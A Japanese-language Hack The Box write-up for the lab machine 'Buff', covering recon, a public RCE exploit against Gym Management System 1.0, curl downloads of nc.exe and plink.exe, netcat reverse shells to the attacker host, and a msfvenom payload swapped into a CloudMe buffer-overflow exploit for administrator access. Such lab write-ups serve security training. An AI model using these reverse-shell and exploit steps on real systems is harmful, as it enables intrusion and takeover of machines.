【HackTheBox】Buff - Walkthrough -


本稿では、Hack The Boxにて提供されている Retired Machines の「Buff」に関する攻略方法(Walkthrough)について検証します。

Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。

マシンの詳細

エグゼクティブサマリー

戦術(Tactic)

ツール

  • nmap
  • rlwrap
  • nc.exe
  • plink.exe
  • EDB-ID:48506 Gym Management System 1.0 - Unauthenticated Remote Code Execution
  • EDB-ID:48389 CloudMe 1.11.2 - Buffer Overflow (PoC)
  • msfvenom

詳細手順

ネットワークサービススキャン

nmap

IPアドレス 10.10.10.198buff.htb として、 /etc/hosts に追加します。その上で、nmapを使用し、ポートスキャンを実行します。

kali@kali:~$ nmap -Pn -T4 -A -v buff.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-08 09:17 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Initiating Connect Scan at 09:17
Scanning buff.htb (10.10.10.198) [1000 ports]
Discovered open port 8080/tcp on 10.10.10.198
Completed Connect Scan at 09:17, 17.85s elapsed (1000 total ports)
Initiating Service scan at 09:17
Scanning 1 service on buff.htb (10.10.10.198)
Completed Service scan at 09:18, 7.38s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.10.198.
Initiating NSE at 09:18
Completed NSE at 09:18, 11.36s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 2.46s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Nmap scan report for buff.htb (10.10.10.198)
Host is up (0.12s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

NSE: Script Post-scanning.
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.98 seconds

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
8080/tcp http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)

HTTPサービスのスキャン

Firefoxブラウザを使って8080/tcpにアクセスしてみます。

各セクションについて探索を行います。[Contact]セクションにて、このサイトがGym Management Software 1.0にて作成されていることが特定できました。

アクセス権の取得

Gym Management Software 1.0には、リモートコード実行の脆弱性(EDB-ID:48506)を抱えていることが知られています。

48506.pyコードの実行を試みた結果、いくつかのPython2モジュールの不足が指摘されます。

$ python 48506.py http://10.10.10.198:8080/
Traceback (most recent call last):
  File "48506.py", line 37, in <module>
    import requests, sys, urllib, re
ImportError: No module named requests

pipをインストールし、不足しているモジュールを導入します。

kali@kali:~$ sudo apt install python-pip
kali@kali:~$ pip install requests
kali@kali:~$ pip install colorama

48506.pyコードの実行に成功すると、webshellとの接続が確立されます。

kali@kali:~$ python 48506.py http://10.10.10.198:8080/
            /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> 

ユーザーシェルの取得

whoamiコマンドにて、buff\shaun権限のシェルが取得できていることを確認します。

C:\xampp\htdocs\gym\upload> whoami
�PNG
▒
buff\shaun

user.txtフラグを取得します。typeコマンドにて確認することが可能です。

C:\xampp\htdocs\gym\upload> type C:\Users\shaun\Desktop\user.txt
�PNG
▒
d2f9{BLOCKED}26c4

シェルのアップグレード

Windowsコマンドを実行できるように、シェルをアップグレードします。
まず、SimpleHTTPServerを立ち上げ、次のプログラムを標的マシンへアップロードします。

  • NetCat: リバースシェルを確立する
  • plink: ポートフォワーディングを確立する
kali@kali:/usr/share/windows-resources/binaries$ python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
10.10.10.198 - - [08/Aug/2020 09:28:24] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.198 - - [08/Aug/2020 09:28:44] "GET /plink.exe HTTP/1.1" 200 -
C:\xampp\htdocs\gym\upload> curl http://10.10.14.11:8081/nc.exe -o nc.exe
�PNG
▒

C:\xampp\htdocs\gym\upload> curl http://10.10.14.11:8081/plink.exe -o plink.exe
�PNG
▒

C:\xampp\htdocs\gym\upload> dir
�PNG
▒
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\xampp\htdocs\gym\upload

08/08/2020  14:28    <DIR>          .
08/08/2020  14:28    <DIR>          ..
08/08/2020  14:25                53 kamehameha.php
08/08/2020  14:28            59,392 nc.exe
08/08/2020  14:28           311,296 plink.exe
               3 File(s)        370,741 bytes
               2 Dir(s)   6,655,049,728 bytes free

Kali上でのリバースシェルの操作性を向上させるため、rlwrapをインストールします。これにより、readline対応を実現し、行編集機能を追加することができます。

kali@kali:~$ sudo apt-get install rlwrap

kali上で、リバースシェルを待ち受けます。コマンド構文は次のとおりです。

kali@kali:~$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...

buff.htb上で、NetCatコマンドを起動します。コマンド構文は次のとおりです。

C:\xampp\htdocs\gym\upload> nc.exe -e cmd.exe 10.10.14.11 1234

別の方法として、powershellを立ち上げる方法も有効です。

C:\xampp\htdocs\gym\upload> nc.exe -e powershell.exe 10.10.14.11 1234

システム探索

winPEASまたはPowerUpなどの特権昇格を列挙するためのスクリプトを使ってシステム探索を実行します。

C:\Users\shaun\Downloads\ディレクトリにCloudMe_1112.exe実行ファイルの存在を確認しました。

C:\>dir C:\Users\shaun\Downloads
dir C:\Users\shaun\Downloads
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020  13:27    <DIR>          .
14/07/2020  13:27    <DIR>          ..
16/06/2020  16:26        17,830,824 CloudMe_1112.exe
               1 File(s)     17,830,824 bytes
               2 Dir(s)   7,981,256,704 bytes free

CloudMe_1112.exe実行ファイルの起動状況についてtasklistコマンドにて確認します。

C:\>tasklist | findstr CloudMe

特権昇格

CloudMe 1.11.2には、バッファオーバーフローの脆弱性(EDB-ID:48389)を抱えていることが知られています。

この脆弱性を悪用し、特権昇格する方法を検討します。

ポートフォワードの設定

Kali上でSSHサービスを起動します。

kali@kali:~$ sudo service ssh start
C:\xampp\htdocs\gym\upload>plink.exe -l kali -pw kali 10.10.14.11 -R 8888:127.0.0.1:8888

kali上で、ポートフォワードが機能していることを次のコマンド構文で確認します。

kali@kali:~$ netstat -punta | grep 8888
netstat -punta | grep 8888
(Not all processes could be identified, non-owned process info                                         
 will not be shown, you would have to be root to see it all.)                                                               
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:8888                :::*                    LISTEN      -

ペイロードの作成

オリジナルの48389.pyにおけるペイロードは、次のとおり、管理者権限でCALC.EXEコマンドが起動するのみです。

msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python

そこで、管理者権限でnc.exe -e cmd.exe 10.10.14.11 4500コマンド構文を起動するペイロードをmsfvenomコマンドにて生成します。

kali@kali:~$ msfvenom -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.14.11 4500' -b '\x00\x0A\x0D' -f py -v payload

生成されたpayloadをオリジナルの48389.pypayloadを差し替えます。差し替え後のファイルをexploit.pyとして保存します。

特権シェルの取得

ポート 4500にてリバースシェルを待ち受けます。

kali@kali:~$ nc -lnvp 4500
listening on [any] 4500 ...

exploit.pyを実行します。

kali@kali:~$ python exploit.py
python exploit.py

exploit.pyの実行が成功した場合、buff\administrator権限のシェルを確立させることができます。

kali@kali:~$ nc -lnvp 4500
listening on [any] 4500 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.198] 49683
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator

ファイル探索

あとは、root.txtフラグをtypeコマンドにて確認するだけです。

C:\Windows\system32>cd c:\Users\Administrator\Desktop
cd c:\Users\Administrator\Desktop

c:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of c:\Users\Administrator\Desktop

18/07/2020  17:36    <DIR>          .
18/07/2020  17:36    <DIR>          ..
16/06/2020  16:41             1,417 Microsoft Edge.lnk
14/08/2020  13:18                34 root.txt
               2 File(s)          1,451 bytes
               2 Dir(s)   6,761,127,936 bytes free

c:\Users\Administrator\Desktop>type root.txt
type root.txt
d879{BLOCKED}f0f0

参考資料